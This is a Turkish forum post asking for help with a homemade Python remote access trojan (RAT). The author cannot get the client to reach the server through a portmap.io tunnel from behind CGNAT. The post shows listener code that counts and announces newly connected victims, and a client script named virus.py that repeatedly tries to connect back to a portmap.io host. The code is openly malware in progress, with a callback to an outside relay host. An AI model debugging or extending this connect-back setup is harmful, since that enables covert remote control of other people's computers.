Merhabalar, sorunumu şu şekilde anlatayım
Python kullanarak konsol tabanlı bir RAT yapıyorum (aslında bakarsanız iyi gidiyor).
Maalesef CGNAT sisteminde olduğum için port açamıyorum ve kesinlikle statik ip adresi almak istemiyorum.
(normalde almam gereken hizmet için para ödemek istemiyorum ayrıca sabit ip'ye sahip olmak biraz sıkıntılı bir durum :agla )
Öncelikle portmap.io' yu diğer RAT larda test ettim, sıkıntısız bir şekilde çalışıyor.

server.py deki kodun bir kısmı:

Kod:
def dinle(adres):
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind(adres)
except:
print("Hata")
s.listen(5)

def kabul():
del baglantılar[:] # Bu Kısımlara çok takılmayın
del adress[:]
sayı = 0
count = 0 # Bu Kısımlara çok takılmayın
while True:
conn, addr = s.accept() #Önemli olan kısım burası
baglantılar.append(conn)
adress.append(addr)
for c in addr:
sayı += 1
if sayı == 2:
count += 1
sayı = 0
yazı = ("NE! Gerçekten oldu mu ?? "+str(count)+ " kişiye ulaştık :)))") # Bu Kısımlara çok takılmayın
toast.show_toast("Aramıza yeni biri katıldı ",yazı,duration=3) # Bu Kısımlara çok takılmayın

adres = ("127.0.0.1",4444)
dinle(adres)
selam = Thread(target=kabul)
selam.start()
Not: Kodların yazımında yanlışlık yapmış olabilirim fakat hem server'da hemde client'de ip kısmına '127.0.0.1' port kısmına '4444' yazınca çalışıyor
ve kodların tamamı bu değil isterseniz bütün kodları atabilirim

Birde virus.py' nin tüm kodlarını atayım :):

Kod:
import socket
import time
def baglan(adres):
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(adres)
except:
print("olmadı")
baglan(adres)
def main():
while True:
try:
print(s.recv(1024).decode('utf-8'))
except:
#s.close()
time.sleep(3)
baglan(adres)
if __name__ == "__main__":
ip = socket.gethostbyname("benim-kendiurlm.portmap.io")
print(ip)
adres = (str(ip),29564) # Bu benim portum
baglan(adres)
main()
Bunun çıktısı olarak sürekli "olmadı" yazısı çıkıyor yani bağlanmada sorun var
Umarım anlatmak istediğimi anlatabilmişimdir ve forumda yeniyim bir yanlışım varsa lütfen belirtin :gozkirpan